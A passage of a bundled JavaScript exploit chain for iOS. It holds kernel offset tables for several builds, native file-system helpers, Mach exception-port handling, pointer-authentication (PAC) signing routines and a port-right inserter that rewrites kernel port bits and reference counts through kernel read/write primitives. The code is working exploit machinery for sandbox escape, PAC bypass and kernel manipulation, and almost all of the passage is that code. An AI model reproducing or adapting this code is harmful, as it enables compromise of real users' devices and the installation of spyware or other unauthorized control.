excGuard: 0x5fcn, kstackptr: 0x148n, ropPid: 0x1b8n, jopPid: 0x1c0n, guardExcCode: 0x390n, taskThreads: 0x3e0n, tro: 0x3e8n, ast: 0x40cn, mutexData: 0x418n, ctid: 0x4a8n, options: 0xc0n }, 1: { kernelTask: 0xb7e1e0n, taskThreads: 0x3d8n, tro: 0x3e0n, ast: 0x404n, mutexData: 0x410n, ctid: 0x4a0n, }, 2: { kernelTask: 0xb86610n }, 3: { kernelTask: 0xb82610n }, 4: { kernelTask: 0xc0fd80n, procRO: 0x3e0n, excGuard: 0x624n, taskThreads: 0x3e0n, tro: 0x3e8n, ast: 0x40cn, mutexData: 0x418n, ctid: 0x4a8n, migLock: 0x408acd0n, migSbxMsg: 0x408acf0n, migKernelStackLR: 0x396e4a0n }, 5: { kernelTask: 0xc17e68n, migLock: 0x40a6f08n, migSbxMsg: 0x40a6f28n, migKernelStackLR: 0x3987924n }, 6: { kernelTask: 0xc1ff78n, guardExcCode: 0x398n, taskThreads: 0x3e8n, tro: 0x3f0n, ast: 0x414n, mutexData: 0x420n, ctid: 0x4b0n, migLock: 0x40b6e98n, migSbxMsg: 0x40b6eb8n, migKernelStackLR: 0x3998de0n, } } } } } /***/ }), /***/ "./src/libs/JSUtils/FileUtils.js": /*!***************************************!*\ !*** ./src/libs/JSUtils/FileUtils.js ***! \***************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ FileUtils) /* harmony export */ }); const TAG = "FILE-UTILS"; const O_RDONLY = 0x0000; const O_WRONLY = 0x0001; const O_RDWR = 0x0002; const O_APPEND = 0x0008; const O_CREAT = 0x0200; const O_TRUNC = 0x0400; const O_EVTONLY = 0x8000; const ERROR = -1; const DT = { DT_UNKNOWN: 0, DT_FIFO: 1, DT_CHR: 2, DT_DIR: 4, DT_BLK: 6, DT_REG: 8, DT_LNK: 10, DT_SOCK: 12, DT_WHT: 14 }; const SEEK_SET = 0; class FileUtils { static open(path) { const fd = Native.callSymbol("open", path, O_RDONLY); if (fd == ERROR) { console.log(TAG, "Unable to open: " + path); return false; } return fd; } static close(fd) { Native.callSymbol("close", fd); } static read(fd, size=0) { if (!size || size > Native.memSize) size = Native.memSize; const len = Native.callSymbol("read", fd, Native.mem, size); if (!len || len == ERROR) return false; const buff = Native.read(Native.mem, len); return buff; } static readFile(path, seek=0, length=0) { const fd = this.open(path); if (fd === false) return null; let data = new Uint8Array(); if (seek) Native.callSymbol("lseek", fd, seek, SEEK_SET); let remaining = length; while (true) { let size = remaining ? remaining : Native.memSize; if (size > Native.memSize) size = Native.memSize; const buff = this.read(fd, size); if (buff === false) break; const buff8 = new Uint8Array(buff); let newData = new Uint8Array(data.length + buff8.length); newData.set(data, 0); newData.set(buff8, data.length); data = newData; if (remaining) { remaining -= buff.byteLength; if (!remaining) break; } } this.close(fd); return data.buffer; } static writeFile(path, data) { return this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_TRUNC); } static appendFile(path, data) { return this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_APPEND); } static deleteFile(path) { Native.callSymbol("unlink", path); } static foreachDir(path, func) { let dir = Native.callSymbol("opendir", path); if (!dir) { console.log(TAG, "Unable to open dir: " + path); return; } while (true) { let item = this.#readdir(dir); if (!item) break; switch (item.d_type) { case DT.DT_DIR: if (item.d_name.startsWith(".")) break; func(item.d_name); break; } } Native.callSymbol("closedir", dir); } static foreachFile(path, func) { let dir = Native.callSymbol("opendir", path); if (!dir) { console.log(TAG, "Unable to open dir: " + path); return false; } while (true) { let item = this.#readdir(dir); if (!item) break; switch (item.d_type) { case DT.DT_REG: func(item.d_name); break; } } Native.callSymbol("closedir", dir); return true; } static createDir(path, permission=0o755) { return !Native.callSymbol("mkdir", path, permission); } static deleteDir(path, recursive=false) { if (recursive) { const dir = Native.callSymbol("opendir", path); if (!dir) { console.log(TAG, "deleteDir: Unable to open dir: " + path); return false; } while (true) { const item = this.#readdir(dir); if (!item) break; const newPath = path + '/' + item.d_name; switch (item.d_type) { case DT.DT_DIR: if (item.d_name.startsWith(".")) break; this.deleteDir(newPath, true); break; case DT.DT_REG: console.log(TAG, `deleting: ${newPath}`); this.deleteFile(newPath); break; } } Native.callSymbol("closedir", dir); } return !Native.callSymbol("rmdir", path); } static exists(path, permission=0/*F_OK*/) { return !Native.callSymbol("access", path, permission); } static stat(path) { const ret = Native.callSymbol("stat", path, Native.mem); if (ret == ERROR) return null; const buff = Native.read(Native.mem, 144); const view = new DataView(buff); const dev = view.getInt32(0, true); const mode = view.getUint16(0x4, true); const nlink = view.getUint16(0x6, true); const ino = view.getBigUint64(0x8, true); const uid = view.getUint32(0x10, true); const gid = view.getUint32(0x14, true); const atime_tv_sec = view.getBigInt64(0x20, true); const mtime_tv_sec = view.getBigInt64(0x30, true); const ctime_tv_sec = view.getBigInt64(0x40, true); const size = view.getBigInt64(0x60, true); return { mode: Number(mode), ino: Number(ino), dev: Number(dev), nlink: Number(nlink), uid: Number(uid), gid: Number(gid), size: Number(size), atime: Number(atime_tv_sec), mtime: Number(mtime_tv_sec), ctime: Number(ctime_tv_sec) }; } static #readdir(dir) { const itemPtr = Native.callSymbol("readdir", dir); if (!itemPtr) return null; const item = Native.read(itemPtr, 24); const view = new DataView(item); const d_ino = view.getBigUint64(0, true); const d_namlen = view.getUint16(18, true); const d_type = view.getUint8(20); const d_name = Native.readString(itemPtr + 21n, d_namlen + 1); return { d_ino: d_ino, d_type: d_type, d_name: d_name }; } static #commonWriteFile(path, data, flags) { const fd = Native.callSymbol("open", path, flags, 0o644); if (fd == ERROR) { console.log(TAG, "Unable to open: " + path); return false; } // For some reason file mode is not applied on open() Native.callSymbol("fchmod", fd, 0o644); let offs = 0; let left = data.byteLength; const buffSize = 0x4000; const buffPtr = Native.callSymbol("malloc", buffSize); while (true) { const size = left > buffSize ? buffSize : left; const src8 = new Uint8Array(data, offs, size); const dst8 = new Uint8Array(src8); Native.write(buffPtr, dst8.buffer); const len = Native.callSymbol("write", fd, buffPtr, size); if (!len || len == ERROR) break; offs += len; left -= len; if (!left) break; } Native.callSymbol("free", buffPtr); Native.callSymbol("close", fd); return true; } } /***/ }), /***/ "./src/libs/JSUtils/Utils.js": /*!***********************************!*\ !*** ./src/libs/JSUtils/Utils.js ***! \***********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ Utils) /* harmony export */ }); const TAG = "UTILS"; const DT = { DT_UNKNOWN: 0, DT_FIFO: 1, DT_CHR: 2, DT_DIR: 4, DT_BLK: 6, DT_REG: 8, DT_LNK: 10, DT_SOCK: 12, DT_WHT: 14 }; class Utils { static UINT64_SIZE = 8; static UINT32_SIZE = 4; static UINT16_SIZE = 2; static ARM_THREAD_STATE64 = 6; static ARM_THREAD_STATE64_SIZE = 0x110; static ARM_THREAD_STATE64_COUNT = (this.ARM_THREAD_STATE64_SIZE / this.UINT32_SIZE); static ptrauth_key_asia = 0; static EXC_BAD_ACCESS = 1n; static EXC_GUARD = 12n; static EXC_MASK_GUARD = (1n << this.EXC_GUARD); static EXC_MASK_BAD_ACCESS = (1n << this.EXC_BAD_ACCESS); static EXCEPTION_STATE = 2n; static MACH_EXCEPTION_CODES = 0x80000000n; static PAGE_SIZE = 0x4000n; static PAGE_MASK = (this.PAGE_SIZE - 1n); static hex(val) { return val.toString(16); } static memmem(haystack, needle) { const hLen = haystack.byteLength; const nLen = needle.byteLength; if (nLen === 0 || hLen < nLen) { return 0; } const haystackView = new Uint8Array(haystack); const needleView = new Uint8Array(needle); for (let i = 0; i <= hLen - nLen; i++) { let found = true; for (let j = 0; j < nLen; j++) { if (haystackView[i + j] !== needleView[j]) { found = false; break; } } if (found) { return i; } } return 0; } static ptrauth_string_discriminator(discriminator) { switch (discriminator) { case "pc": return 0x7481n; case "lr": return 0x77d3n; case "sp": return 0xcbedn; case "fp": return 0x4517n; default: console.log(TAG,`Cannot find discriminator for value:${discriminator}`); return 0n; } } static ptrauth_string_discriminator_special(discriminator) { switch (discriminator) { case "pc": return 0x7481000000000000n; case "lr": return 0x77d3000000000000n; case "sp": return 0xcbed000000000000n; case "fp": return 0x4517000000000000n; default: console.log(TAG,`Cannot find discriminator for value:${discriminator}`); return 0n; } } static ptrauth_blend_discriminator(diver,discriminator) { return diver & 0xFFFFFFFFFFFFn | discriminator; } static printArrayBufferInChunks(buffer) { const view = new DataView(buffer); const chunkSize = 8; for (let i = 0; i < buffer.byteLength; i += chunkSize) { // Read the chunk as a BigInt const chunk = view.getBigUint64(i, true); // Little-endian console.log(TAG, `0x${Utils.hex(i)}: ${Utils.hex(chunk)}`); } } static MIN(a, b) { if(a < b) return a; return b; } static MAX(a, b) { if(a > b) return a; return b; } } /***/ }), /***/ "./src/libs/TaskRop/Exception.js": /*!***************************************!*\ !*** ./src/libs/TaskRop/Exception.js ***! \***************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ Exception) /* harmony export */ }); /* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ExceptionMessageStruct */ "./src/libs/TaskRop/ExceptionMessageStruct.js"); /* harmony import */ var _ExceptionReplyStruct__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./ExceptionReplyStruct */ "./src/libs/TaskRop/ExceptionReplyStruct.js"); /* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); const TAG = "EXCEPTION"; const MPO_INSERT_SEND_RIGHT = 0x10; const MPO_PROVISIONAL_ID_PROT_OPTOUT = 0x8000; const MACH_SEND_MSG = 0x00000001n; const MACH_RCV_MSG = 0x00000002n; const MACH_SEND_TIMEOUT = 0x00000010n; const MACH_RCV_TIMEOUT = 0x00000100n; const MACH_MSG_TYPE_MOVE_SEND_ONCE = 18; class Exception { static ExceptionMessageSize = 0x160n; static ExceptionReplySize = 0x13cn; static createPort() { let options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; const buffer = new ArrayBuffer(8); const view = new DataView(buffer); view.setUint32(0, MPO_INSERT_SEND_RIGHT | MPO_PROVISIONAL_ID_PROT_OPTOUT, true); view.setUint32(4, 0, true); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer); let exceptionPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n; let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct",0x203, options, 0n, exceptionPortPtr); if (kr != 0) { console.log(TAG,`Error creating exception port:${kr}`); return 0; } let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(exceptionPortPtr); return BigInt(port); } static waitException(exceptionPort, excBuffer, timeout, debug) { let t1 = new Date().getTime(); if (debug) console.log(TAG,`Waiting exception...`); let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", excBuffer, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, this.ExceptionMessageSize, exceptionPort, timeout, 0); if (ret != 0) { let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string",ret); errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString); //console.log(TAG,`Error receiving exception message:${errString}`); return false; } if (debug) { let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(excBuffer,Number(this.ExceptionMessageSize)); let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_2__["default"](excRes); let elapsed = new Date().getTime() - t1; //console.log(TAG,`Got exception succesfully after ${elapsed} ms with [id:${exc.Head.msgh_id}, exc=${exc.exception}, code=${Utils.hex(exc.codeFirst)}]`); //console.log(TAG,`PC:${Utils.hex(exc.threadState.opaque_pc)}`); //console.log(TAG,`LR:${Utils.hex(exc.threadState.opaque_lr)}`); //console.log(TAG,`SP:${Utils.hex(exc.threadState.opaque_sp)}`); //console.log(TAG,`FP:${Utils.hex(exc.threadState.opaque_fp)}`); //for(let i = 0; i < 29; i++) // console.log(TAG,`x[${i}]:${Utils.hex(exc.threadState.registers.get(i))}`); } return true; } static replyWithState(exc,state,debug) { let replyBuf = new ArrayBuffer(Number(this.ExceptionReplySize)); let reply = new _ExceptionReplyStruct__WEBPACK_IMPORTED_MODULE_3__["default"](replyBuf); let sendSize = Number(this.ExceptionReplySize); let recvSize = 0n; if(debug) { console.log(TAG,`Reply with state:`); console.log(TAG,`PC:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_pc)}`); console.log(TAG,`LR:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_lr)}`); console.log(TAG,`SP:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_sp)}`); console.log(TAG,`FP:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_fp)}`); } reply.Head.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_4__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_MOVE_SEND_ONCE, 0); reply.Head.msgh_size = sendSize; reply.Head.msgh_remote_port = exc.Head.msgh_remote_port; reply.Head.msgh_local_port = 0; reply.Head.msgh_id = exc.Head.msgh_id + 100; reply.NDR = exc.NDR; reply.RetCode = 0; reply.flavor = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64; reply.new_stateCnt = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT; //TODO make it inside ThreadState to copy thread state to another variable for(let i = 0; i < 29; i++) { reply.threadState.registers.set(i,state.registers.get(i)); } reply.threadState.opaque_fp = state.opaque_fp; reply.threadState.opaque_lr = state.opaque_lr; reply.threadState.opaque_sp = state.opaque_sp; reply.threadState.opaque_pc = state.opaque_pc; reply.threadState.cspr = state.cspr; reply.threadState.opaque_flags = state.opaque_flags; let replyMem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(replyMem,replyBuf); if(debug) libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].printArrayBufferInChunks(replyBuf); let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", replyMem, MACH_SEND_MSG, sendSize, recvSize, 0n, 0n, 0n); if (ret != 0) console.log(TAG,`Error replying exception:${libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string",ret)}`); } } /***/ }), /***/ "./src/libs/TaskRop/ExceptionMessageStruct.js": /*!****************************************************!*\ !*** ./src/libs/TaskRop/ExceptionMessageStruct.js ***! \****************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ ExceptionMessageStruct) /* harmony export */ }); /* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); /* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); class ExceptionMessageStruct { #buffer; #dataView; constructor(buffer) { this.#buffer = buffer; this.#dataView = new DataView(this.#buffer); this.Head = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__["default"](this.#buffer); this.threadState = new _ThreadState__WEBPACK_IMPORTED_MODULE_1__["default"](this.#buffer,64); } get NDR() { return this.#dataView.getBigUint64(24,true); } set NDR(value) { this.#dataView.setBigUint64(24,value,true); } get exception() { return this.#dataView.getUint32(32,true); } set exception(value) { this.#dataView.setUint32(32,value,true); } get codeCnt() { return this.#dataView.getUint32(36,true); } set codeCnt(value) { this.#dataView.setUint32(36,value,true); } get codeFirst() { return this.#dataView.getBigUint64(40,true); } set codeFirst(value) { this.#dataView.setBigUint64(40,value,true); } get codeSecond() { return this.#dataView.getBigUint64(48,true); } set codeSecond(value) { this.#dataView.setBigUint64(48,value,true); } get flavor() { return this.#dataView.getUint32(56,true); } set flavor(value) { this.#dataView.setUint32(56,value,true); } get old_stateCnt() { return this.#dataView.getUint32(60,true); } set old_stateCnt(value) { this.#dataView.setUint32(60,value,true); } get paddingFirst() { return this.#dataView.getBigUint64(336,true); } set paddingFirst(value) { this.#dataView.setBigUint64(336,value,true); } get paddingSecond() { return this.#dataView.getBigUint64(344,true); } set paddingSecond(value) { this.#dataView.setBigUint64(344,value,true); } } /***/ }), /***/ "./src/libs/TaskRop/ExceptionReplyStruct.js": /*!**************************************************!*\ !*** ./src/libs/TaskRop/ExceptionReplyStruct.js ***! \**************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ ExceptionReplyStruct) /* harmony export */ }); /* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); /* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); class ExceptionReplyStruct { #buffer; #dataView; constructor(buffer) { this.#buffer = buffer; this.#dataView = new DataView(this.#buffer); this.Head = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__["default"](this.#buffer); this.threadState = new _ThreadState__WEBPACK_IMPORTED_MODULE_1__["default"](this.#buffer,44); } get NDR() { return this.#dataView.getBigUint64(24,true); } set NDR(value) { this.#dataView.setBigUint64(24,value,true); } get RetCode() { return this.#dataView.getUint32(32,true); } set RetCode(value) { this.#dataView.setUint32(32,value,true); } get flavor() { return this.#dataView.getUint32(36,true); } set flavor(value) { this.#dataView.setUint32(36,value,true); } get new_stateCnt() { return this.#dataView.getUint32(40,true); } set new_stateCnt(value) { this.#dataView.setUint32(40,value,true); } } /***/ }), /***/ "./src/libs/TaskRop/MachMsgHeaderStruct.js": /*!*************************************************!*\ !*** ./src/libs/TaskRop/MachMsgHeaderStruct.js ***! \*************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ MachMsgHeaderStruct) /* harmony export */ }); class MachMsgHeaderStruct { #dataView; constructor(buffer, offset = 0) { this.#dataView = new DataView(buffer,offset); } get msgh_bits() { return this.#dataView.getUint32(0,true); } set msgh_bits(value) { this.#dataView.setUint32(0,value,true); } get msgh_size() { return this.#dataView.getUint32(4,true); } set msgh_size(value) { this.#dataView.setUint32(4,value,true); } get msgh_remote_port() { return this.#dataView.getUint32(8,true); } set msgh_remote_port(value) { this.#dataView.setUint32(8,value,true); } get msgh_local_port() { return this.#dataView.getUint32(12,true); } set msgh_local_port(value) { this.#dataView.setUint32(12,value,true); } get msgh_voucher_port() { return this.#dataView.getUint32(16,true); } set msgh_voucher_port(value) { this.#dataView.setUint32(16,value,true); } get msgh_id() { return this.#dataView.getUint32(20,true); } set msgh_id(value) { this.#dataView.setUint32(20,value,true); } static MACH_MSGH_BITS(remote, local) { return ((remote) | ((local) << 8)); } } /***/ }), /***/ "./src/libs/TaskRop/PAC.js": /*!*********************************!*\ !*** ./src/libs/TaskRop/PAC.js ***! \*********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ PAC) /* harmony export */ }); //import Chain from "libs/Chain/Chain"; //import Native from "libs/JSUtils/Native"; //import Utils from "libs/JSUtils/Utils"; //import Exception from "./Exception"; //import Task from "./Task"; //import Thread from "./Thread"; //import ThreadState from "./ThreadState"; //import ExceptionMessageStruct from "./ExceptionMessageStruct"; //import Offsets from "Driver/Offsets"; const TAG = "PAC"; class PAC { static gadget_pacia; static { //this.#findGadgets(); } static remotePACLocal(address, modifier) { address = address & 0x7fffffffffn; //console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`); let signedAddress = pacia(address, BigInt(modifier)); //console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`); return signedAddress; } static remotePAC(threadAddr, address, modifier) { return Native.pacia(address, modifier); //return this.remotePACLocal(address, modifier); /* if (!this.gadget_pacia) { console.log(TAG,`Doesn't have gadget_pacia, aborting`); return 0; } address = address & 0x7fffffffffn; let signedAddress = 0n; // Get PAC keys of remote thread let keyA = Thread.getRopPid(threadAddr); let keyB = Thread.getJopPid(threadAddr); //console.log(TAG,`Key A:${Utils.hex(keyA)}`); //console.log(TAG,`Key B:${Utils.hex(keyB)}`); let kr = 0; let pacThread = Native.mem; Native.callSymbol("thread_create", 0x203, pacThread); let buffRes = Native.read(pacThread, Utils.UINT32_SIZE); let viewRes = new DataView(buffRes); pacThread = viewRes.getUint32(0,true); //console.log(TAG,`pacThread:${Utils.hex(pacThread)}`); let stack = Native.callSymbol("malloc",0x4000n); let sp = stack + 0x2000n; let stateBuff = new ArrayBuffer(Utils.ARM_THREAD_STATE64_SIZE); let state = new ThreadState(stateBuff); state.opaque_sp = sp; //arm_thread_state64_set_pc_fptr(state, (void*)gadget_pacia); let outputBuffer = Native.mem; //console.log(TAG,`Before pacia`); if(pacia) state.opaque_pc = pacia(this.gadget_pacia,Utils.ptrauth_string_discriminator("pc")); else state.opaque_pc = Native.callSymbol("pacia",this.gadget_pacia,Utils.ptrauth_string_discriminator("pc"),Utils.ptrauth_key_asia); const buildVer = Offsets.getBuildVersion(); if(buildVer && buildVer.startsWith("22")) { //console.log(TAG, "Applying 18 fix"); //state.opaque_lr = 0x401n; state.opaque_lr = pacia(0x401n,Utils.ptrauth_string_discriminator("lr")); } //console.log(TAG,`After pacia with pc:${state.opaque_pc}`); //state.opaque_pc = Native.callSymbol("pacia",this.gadget_pacia,Utils.ptrauth_string_discriminator("pc"),Utils.ptrauth_key_asia); state.registers.set(0,outputBuffer); state.registers.set(1,BigInt(address)); state.registers.set(2,BigInt(modifier)); state.registers.set(3,BigInt(pacThread)); state.registers.set(16,BigInt(address)); state.registers.set(17,BigInt(modifier)); let exceptionPort = Exception.createPort(); if (!exceptionPort) { console.log(TAG,`Cannot create exception port`); this.#cleanup(pacThread,exceptionPort,stack); return 0n; } //console.log(TAG,`Exception port:${Utils.hex(exceptionPort)}`); kr = Native.callSymbol("thread_set_exception_ports", pacThread, Utils.EXC_MASK_BAD_ACCESS, exceptionPort, Utils.EXCEPTION_STATE | Utils.MACH_EXCEPTION_CODES, BigInt(Utils.ARM_THREAD_STATE64)); if (kr != 0) { console.log(`thread_set_exception_ports failed:${kr}`); this.#cleanup(pacThread,exceptionPort,stack); return 0n; } let pacThreadAddr = Task.getPortKObject(BigInt(pacThread)); //console.log(TAG,`PAC thread address:${Utils.hex(pacThreadAddr)}`); if (!this.#setThreadState(pacThread, pacThreadAddr, stateBuff)) { console.log(TAG,`Failed to set thread state`); this.#cleanup(pacThread,exceptionPort,stack); return 0n; } // Change pacThread PAC keys with those of remote thread Thread.setPACKeys(pacThreadAddr, keyA, keyB); //console.log(TAG,`Starting PAC thread...`); Native.callSymbol("thread_resume",pacThread); let excBuffer = Native.mem; if (!Exception.waitException(exceptionPort, excBuffer, 100, false)) { console.log(TAG,`Failed to receive exception from PAC thread`); this.#cleanup(pacThread,exceptionPort,stack); return 0n; } let excRes = Native.read(excBuffer,Number(Exception.ExceptionMessageSize)); let exc = new ExceptionMessageStruct(excRes); signedAddress = exc.threadState.registers.get(16); //console.log(TAG,`Signed address: ${Utils.hex(address)} -> signedAddress:${Utils.hex(signedAddress)}`); this.#cleanup(pacThread, exceptionPort, stack); return signedAddress; */ } /* static #findGadgets() { let sym = Native.dlsym("_ZNK3JSC13JSArrayBuffer8isSharedEv"); if (!sym) { console.log(TAG,`Symbol not found`); return false; } let symStripped = sym & ~0xffffff8000000000n; let gadgetOpcodesBuff = new ArrayBuffer(20); let gadgetOpcodesView = new DataView(gadgetOpcodesBuff); gadgetOpcodesView.setUint32(0,0xDAC10230,true); gadgetOpcodesView.setUint32(4,0x9A9003E8,true); gadgetOpcodesView.setUint32(8,0xF100011F,true); gadgetOpcodesView.setUint32(12,0x1A9F07E0,true); gadgetOpcodesView.setUint32(16,0xD65F03C0,true); let data = Native.read(symStripped,0x1000); let gadgetOffset = Utils.memmem(data,gadgetOpcodesBuff); if (!gadgetOffset) { console.log(TAG,`pacia_gadget offset not found`); return false; } this.gadget_pacia = symStripped + BigInt(gadgetOffset); console.log(TAG,`Gadgets found: pacia=${Utils.hex(this.gadget_pacia)}`); return true; } static #setThreadState(thread,threadAddr,stateBuff) { let options = Thread.getOptions(threadAddr); options |= 0x8000; Thread.setOptions(threadAddr, options); let stateMem = Native.mem; Native.write(stateMem,stateBuff); //console.log(TAG,`thread:${Utils.hex(thread)}`); let kr = Native.callSymbol("thread_set_state", thread, BigInt(Utils.ARM_THREAD_STATE64), stateMem, BigInt(Utils.ARM_THREAD_STATE64_COUNT)); if (kr != 0) { console.log(TAG,`Failed thread_set_state with error:${kr}`); return false; } options &= ~0x8000; Thread.setOptions(threadAddr, options); return true; } static #cleanup(pacThread,exceptionPort,stack) { Native.callSymbol("thread_terminate",pacThread); Native.callSymbol("mach_port_destruct",0x203, exceptionPort, 0n, 0n); Native.callSymbol("free",stack); } */ } /***/ }), /***/ "./src/libs/TaskRop/PortRightInserter.js": /*!***********************************************!*\ !*** ./src/libs/TaskRop/PortRightInserter.js ***! \***********************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ PortRightInserter) /* harmony export */ }); /* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); /* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); /* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); const TAG = "PORTRIGHTINSERTER"; const TASK_SELF = 0x203; const MACH_PORT_NULL = 0; const MACH_PORT_TYPE_SEND = 0x10000; const MACH_PORT_TYPE_DEAD_NAME = 0x100000; const MACH_SEND_MSG = 0x00000001n; const MACH_RCV_MSG = 0x00000002n; const MACH_SEND_TIMEOUT = 0x00000010n; const MACH_RCV_TIMEOUT = 0x00000100n; const MACH_MSG_TYPE_COPY_SEND = 19; const MACH_MSG_TYPE_MAKE_SEND = 20; const MACH_MSG_TYPE_MAKE_SEND_ONCE = 21; const MACH_MSGH_BITS_COMPLEX = 0x80000000; const MACH_MSG_PORT_DESCRIPTOR = 0; const MPO_INSERT_SEND_RIGHT = 0x10; const MPO_PROVISIONAL_ID_PROT_OPTOUT = 0x8000; const IO_BITS_KOLABEL = 0x00000400; const IE_BITS_TYPE_MASK = 0x001f0000; class PortRightInserter { static insert(portKaddr) { const p = this.#newPort(); //console.log(TAG, "New port: " + Utils.hex(p)); const pAddr = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getPortAddr(BigInt(p)); //console.log(TAG, "New port addr: " + Utils.hex(pAddr)); if (!pAddr) return 0; //this.#dumpPort(portKaddr); //this.#dumpPort(pAddr); const backupBits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(portKaddr); //console.log(TAG, "Port io bits: " + Utils.hex(backupBits)); const needsFixBits = (backupBits & IO_BITS_KOLABEL); if (needsFixBits) { const newBits = backupBits & ~IO_BITS_KOLABEL; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(portKaddr, newBits); } this.#fixRefCounts(portKaddr, 1); //console.log(TAG, "Fix Ok"); 